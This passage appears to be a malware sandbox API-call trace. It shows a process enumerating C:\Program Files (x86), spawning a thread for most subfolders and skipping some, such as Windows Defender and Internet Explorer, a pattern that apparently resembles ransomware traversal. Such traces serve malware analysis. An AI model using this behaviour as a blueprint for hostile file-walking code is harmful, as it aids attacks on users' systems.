lpFindFileData=0x8f3c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x87d8c240, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d8c240, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0139.507] wcscmp (_String1="Adobe", _String2=".") returned 1 [0139.507] wcscmp (_String1="Adobe", _String2="..") returned 1 [0139.507] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x3a) returned 0x8d2500 [0139.507] wcscpy (in: _Dest=0x8d2500, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0139.508] wcscat (in: _Dest=0x8d2500, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0139.508] wcscat (in: _Dest=0x8d2500, _Source="Adobe" | out: _Dest="C:\\Program Files (x86)\\Adobe") returned="C:\\Program Files (x86)\\Adobe" [0139.508] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d2500, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c8 [0139.509] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92975e80, ftCreationTime.dwHighDateTime=0x1d5945e, ftLastAccessTime.dwLowDateTime=0x92975e80, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x92975e80, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cd46de9c", cAlternateFileName="")) returned 1 [0139.509] wcscmp (_String1="cd46de9c", _String2=".") returned 1 [0139.509] wcscmp (_String1="cd46de9c", _String2="..") returned 1 [0139.509] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x40) returned 0x8d2548 [0139.509] wcscpy (in: _Dest=0x8d2548, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0139.509] wcscat (in: _Dest=0x8d2548, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0139.509] wcscat (in: _Dest=0x8d2548, _Source="cd46de9c" | out: _Dest="C:\\Program Files (x86)\\cd46de9c") returned="C:\\Program Files (x86)\\cd46de9c" [0139.509] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d2548, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cc [0139.510] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbdc44680, ftLastAccessTime.dwHighDateTime=0x1d301bd, ftLastWriteTime.dwLowDateTime=0xbdc44680, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0139.510] wcscmp (_String1="Common Files", _String2=".") returned 1 [0139.510] wcscmp (_String1="Common Files", _String2="..") returned 1 [0139.510] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x48) returned 0x8f9148 [0139.510] wcscpy (in: _Dest=0x8f9148, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0139.510] wcscat (in: _Dest=0x8f9148, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0139.510] wcscat (in: _Dest=0x8f9148, _Source="Common Files" | out: _Dest="C:\\Program Files (x86)\\Common Files") returned="C:\\Program Files (x86)\\Common Files" [0139.510] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f9148, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d0 [0139.511] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28ae853d, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0139.511] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0139.511] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0139.511] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xa547efa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xa547efa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Google", cAlternateFileName="")) returned 1 [0139.511] wcscmp (_String1="Google", _String2=".") returned 1 [0139.511] wcscmp (_String1="Google", _String2="..") returned 1 [0139.511] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x3c) returned 0x8d2590 [0139.511] wcscpy (in: _Dest=0x8d2590, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0139.511] wcscat (in: _Dest=0x8d2590, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0139.511] wcscat (in: _Dest=0x8d2590, _Source="Google" | out: _Dest="C:\\Program Files (x86)\\Google") returned="C:\\Program Files (x86)\\Google" [0139.512] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d2590, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d4 [0139.512] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x88228ce0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x88228ce0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0139.512] wcscmp (_String1="Internet Explorer", _String2=".") returned 1 [0139.513] wcscmp (_String1="Internet Explorer", _String2="..") returned 1 [0139.513] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x52) returned 0x8ebed8 [0139.513] wcscpy (in: _Dest=0x8ebed8, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0139.513] wcscat (in: _Dest=0x8ebed8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0139.513] wcscat (in: _Dest=0x8ebed8, _Source="Internet Explorer" | out: _Dest="C:\\Program Files (x86)\\Internet Explorer") returned="C:\\Program Files (x86)\\Internet Explorer" [0139.513] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ebed8) returned 1 [0139.513] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734f7d60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x734f7d60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x734f7d60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0139.513] wcscmp (_String1="Java", _String2=".") returned 1 [0139.513] wcscmp (_String1="Java", _String2="..") returned 1 [0139.513] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x38) returned 0x8d9b90 [0139.513] wcscpy (in: _Dest=0x8d9b90, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0139.513] wcscat (in: _Dest=0x8d9b90, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0139.513] wcscat (in: _Dest=0x8d9b90, _Source="Java" | out: _Dest="C:\\Program Files (x86)\\Java") returned="C:\\Program Files (x86)\\Java" [0139.513] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d9b90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d8 [0139.514] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x87d19e20, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d19e20, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Analysis Services", cAlternateFileName="MICROS~2")) returned 1 [0139.514] wcscmp (_String1="Microsoft Analysis Services", _String2=".") returned 1 [0139.514] wcscmp (_String1="Microsoft Analysis Services", _String2="..") returned 1 [0139.514] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x66) returned 0x8f0d48 [0139.514] wcscpy (in: _Dest=0x8f0d48, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0139.514] wcscat (in: _Dest=0x8f0d48, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0139.514] wcscat (in: _Dest=0x8f0d48, _Source="Microsoft Analysis Services" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services") returned="C:\\Program Files (x86)\\Microsoft Analysis Services" [0139.514] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f0d48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1dc [0139.515] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x87d3ff80, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d3ff80, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0139.515] wcscmp (_String1="Microsoft Office", _String2=".") returned 1 [0139.515] wcscmp (_String1="Microsoft Office", _String2="..") returned 1 [0139.515] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x50) returned 0x8e3df0 [0139.515] wcscpy (in: _Dest=0x8e3df0, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0139.515] wcscat (in: _Dest=0x8e3df0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0139.515] wcscat (in: _Dest=0x8e3df0, _Source="Microsoft Office" | out: _Dest="C:\\Program Files (x86)\\Microsoft Office") returned="C:\\Program Files (x86)\\Microsoft Office" [0139.516] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e3df0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e0 [0139.517] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f11a30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1120b5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1120b5b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Visual Studio 8", cAlternateFileName="MICROS~3")) returned 1 [0139.517] wcscmp (_String1="Microsoft Visual Studio 8", _String2=".") returned 1 [0139.517] wcscmp (_String1="Microsoft Visual Studio 8", _String2="..") returned 1 [0139.517] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x62) returned 0x8f0db8 [0139.517] wcscpy (in: _Dest=0x8f0db8, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0139.517] wcscat (in: _Dest=0x8f0db8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0139.517] wcscat (in: _Dest=0x8f0db8, _Source="Microsoft Visual Studio 8" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8" [0139.517] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f0db8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e4 [0139.518] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f1bbe30, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 1 [0139.518] wcscmp (_String1="Microsoft.NET", _String2=".") returned 1 [0139.518] wcscmp (_String1="Microsoft.NET", _String2="..") returned 1 [0139.518] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4a) returned 0x8e3e48 [0139.518] wcscpy (in: _Dest=0x8e3e48, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0139.518] wcscat (in: _Dest=0x8e3e48, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0139.518] wcscat (in: _Dest=0x8e3e48, _Source="Microsoft.NET" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET") returned="C:\\Program Files (x86)\\Microsoft.NET" [0139.518] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e3e48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e8 [0139.519] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaeef6000, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf1a38c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf1a38c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Firefox", cAlternateFileName="MOZILL~1")) returned 1 [0139.519] wcscmp (_String1="Mozilla Firefox", _String2=".") returned 1 [0139.519] wcscmp (_String1="Mozilla Firefox", _String2="..") returned 1 [0139.519] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4e) returned 0x8e3ea0 [0139.519] wcscpy (in: _Dest=0x8e3ea0, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0139.519] wcscat (in: _Dest=0x8e3ea0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0139.519] wcscat (in: _Dest=0x8e3ea0, _Source="Mozilla Firefox" | out: _Dest="C:\\Program Files (x86)\\Mozilla Firefox") returned="C:\\Program Files (x86)\\Mozilla Firefox" [0139.519] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e3ea0) returned 1 [0139.519] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf770e60, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb08409c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb08409c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Maintenance Service", cAlternateFileName="MOZILL~2")) returned 1 [0139.519] wcscmp (_String1="Mozilla Maintenance Service", _String2=".") returned 1 [0139.519] wcscmp (_String1="Mozilla Maintenance Service", _String2="..") returned 1 [0139.519] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x66) returned 0x8f0e28 [0139.519] wcscpy (in: _Dest=0x8f0e28, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0139.519] wcscat (in: _Dest=0x8f0e28, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0139.520] wcscat (in: _Dest=0x8f0e28, _Source="Mozilla Maintenance Service" | out: _Dest="C:\\Program Files (x86)\\Mozilla Maintenance Service") returned="C:\\Program Files (x86)\\Mozilla Maintenance Service" [0139.520] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f0e28) returned 1 [0139.520] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x99f700e0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x99f700e0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0139.520] wcscmp (_String1="MSBuild", _String2=".") returned 1 [0139.520] wcscmp (_String1="MSBuild", _String2="..") returned 1 [0139.520] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x3e) returned 0x8d25d8 [0139.520] wcscpy (in: _Dest=0x8d25d8, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0139.520] wcscat (in: _Dest=0x8d25d8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0139.520] wcscat (in: _Dest=0x8d25d8, _Source="MSBuild" | out: _Dest="C:\\Program Files (x86)\\MSBuild") returned="C:\\Program Files (x86)\\MSBuild" [0139.520] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d25d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ec [0139.521] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1 [0139.521] wcscmp (_String1="Reference Assemblies", _String2=".") returned 1 [0139.521] wcscmp (_String1="Reference Assemblies", _String2="..") returned 1 [0139.521] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x58) returned 0x8ebed8 [0139.521] wcscpy (in: _Dest=0x8ebed8, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0139.521] wcscat (in: _Dest=0x8ebed8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0139.521] wcscat (in: _Dest=0x8ebed8, _Source="Reference Assemblies" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies") returned="C:\\Program Files (x86)\\Reference Assemblies" [0139.521] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8ebed8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f0 [0139.522] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x8907f814, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x88228ce0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x88228ce0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uninstall Information", cAlternateFileName="UNINST~1")) returned 1 [0139.522] wcscmp (_String1="Uninstall Information", _String2=".") returned 1 [0139.522] wcscmp (_String1="Uninstall Information", _String2="..") returned 1 [0139.522] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x5a) returned 0x8ebf38 [0139.522] wcscpy (in: _Dest=0x8ebf38, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0139.522] wcscat (in: _Dest=0x8ebf38, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0139.522] wcscat (in: _Dest=0x8ebf38, _Source="Uninstall Information" | out: _Dest="C:\\Program Files (x86)\\Uninstall Information") returned="C:\\Program Files (x86)\\Uninstall Information" [0139.522] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8ebf38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f4 [0139.523] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~3")) returned 1 [0139.523] wcscmp (_String1="Windows Defender", _String2=".") returned 1 [0139.523] wcscmp (_String1="Windows Defender", _String2="..") returned 1 [0139.524] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x50) returned 0x8e3ea0 [0139.524] wcscpy (in: _Dest=0x8e3ea0, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0139.524] wcscat (in: _Dest=0x8e3ea0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0139.524] wcscat (in: _Dest=0x8e3ea0, _Source="Windows Defender" | out: _Dest="C:\\Program Files (x86)\\Windows Defender") returned="C:\\Program Files (x86)\\Windows Defender" [0139.524] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e3ea0) returned 1 [0139.524] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd91d5ea, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x87d19e20, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d19e20, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="WINDOW~1")) returned 1 [0139.524] wcscmp (_String1="Windows Mail", _String2=".") returned 1 [0139.524] wcscmp (_String1="Windows Mail", _String2="..") returned 1 [0139.524] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x48) returned 0x8f9198 [0139.524] wcscpy (in: _Dest=0x8f9198, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0139.524] wcscat (in: _Dest=0x8f9198, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0139.524] wcscat (in: _Dest=0x8f9198, _Source="Windows Mail" | out: _Dest="C:\\Program Files (x86)\\Windows Mail") returned="C:\\Program Files (x86)\\Windows Mail" [0139.525] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f9198, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f8 [0139.526] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1 [0139.526] wcscmp (_String1="Windows Media Player", _String2=".") returned 1 [0139.526] wcscmp (_String1="Windows Media Player", _String2="..") returned 1 [0139.526] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x58) returned 0x8ea9d8 [0139.526] wcscpy (in: _Dest=0x8ea9d8, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0139.526] wcscat (in: _Dest=0x8ea9d8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0139.526] wcscat (in: _Dest=0x8ea9d8, _Source="Windows Media Player" | out: _Dest="C:\\Program Files (x86)\\Windows Media Player") returned="C:\\Program Files (x86)\\Windows Media Player" [0139.526] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ea9d8) returned 1 [0139.526] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x88228ce0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x88228ce0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~2")) returned 1 [0139.526] wcscmp (_String1="Windows NT", _String2=".") returned 1 [0139.526] wcscmp (_String1="Windows NT", _String2="..") returned 1 [0139.526] 